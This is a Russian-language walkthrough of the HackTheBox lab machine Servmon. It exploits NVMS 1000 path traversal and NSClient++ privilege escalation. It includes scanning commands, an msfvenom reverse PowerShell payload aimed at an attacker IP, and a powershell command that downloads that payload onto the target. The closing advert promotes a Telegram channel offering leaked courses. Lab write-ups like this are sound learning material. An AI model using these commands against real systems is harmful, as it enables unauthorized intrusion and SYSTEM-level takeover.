HackTheBox. Прохождение Servmon. Эксплуатируем уязвимости в NVMS и NSClient++
Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.184, который я добавляю в /etc/hosts.
10.10.10.184 servmon.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap«ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.184 --rate=500
На хосте открыто много портов. Теперь просканируем их с помощью nmap, чтобы отфильтровать и выбрать нужные.
nmap servmon.htb -p21,80,49667,49669,22,139,49668,8443,49670,6699,6063,49666,5666,5040,7680,49664,49665,445,135
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A servmon.htb -p21,80,22,139,8443,6699,6063,5666,5040,7680,445,135
Как видно из скана nmap, есть возможность работы с FTP сервером от имени anonymous. Заходим и осматриваемся.
Есть два файла, давайте их скачаем и посмотрим.
USER
Таким образом мы видим список задач (часть из них не выполнена), а также знаем, что файл с паролем на рабочем столе. Теперь заглянем на веб.
Давайте глянем эксплоиты для NVMS.
И мы находим именно для NVMS 1000. Узнаем о чем он.
То есть мы можем читать файлы в системе при обращении по HTTP 1.1. Давайте проверим.
Все работает. Мы знаем, где лежит пароль. Просмотрим.
И получаем несколько паролей. Так у нас есть несколько служб, где мы можем перебрать пары логин: пароль. Я это сделал на smb с помощью CrackMapExec.
Подключимся по SSH и получим флаг пользователя.
ROOT
Осматривая сервисы, предоставленные nmap, на 8443 порте работает NSClient.
И для него тоже находим эксплоит.
Таким образом, локальные пользователи с низкими привилегиями могут читать пароль веб-администратора в открытом виде из файла конфигурации.
Поскольку служба NSClient++ работает как система, то пользователь с низким уровнем привилегий может получить повышение привилегий.
Первым делом нужно получить пароль веб администратора.type "c:\program files\nsclient++\nsclient.ini"
Мы видим разрешенный хост — localhost. Давайте прокинем порт SHH.ssh -L 8444:127.0.0.1:8443 nadine@servmon.htb
Для данной уязвимости, чтобы не выполнять все действия вручную, я использовал автоматизированный RCE эксплоит.
Сначала сгенерируем нагрузку, которую мы выполним для обратного подключения и запускаем листенер.
msfvenom -p cmd/windows/reverse_powershell lhost=10.10.15.60 lport=4321 > ./1.bat
Теперь на удаленном хосте скачиваем с локальной машины данный bat файл.
powershell -c "wget http://10.10.15.60:88/1.bat -O C:\Temp\a.bat"
Когда все готово, запускаем эксплоит (то ли нестабилен эксплоит, то ли машина, но удачно выполнен только с третьего раза).
И в метасплоит наблюдаем успешное создание сессии.
Мы с правами system на данной машине!
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.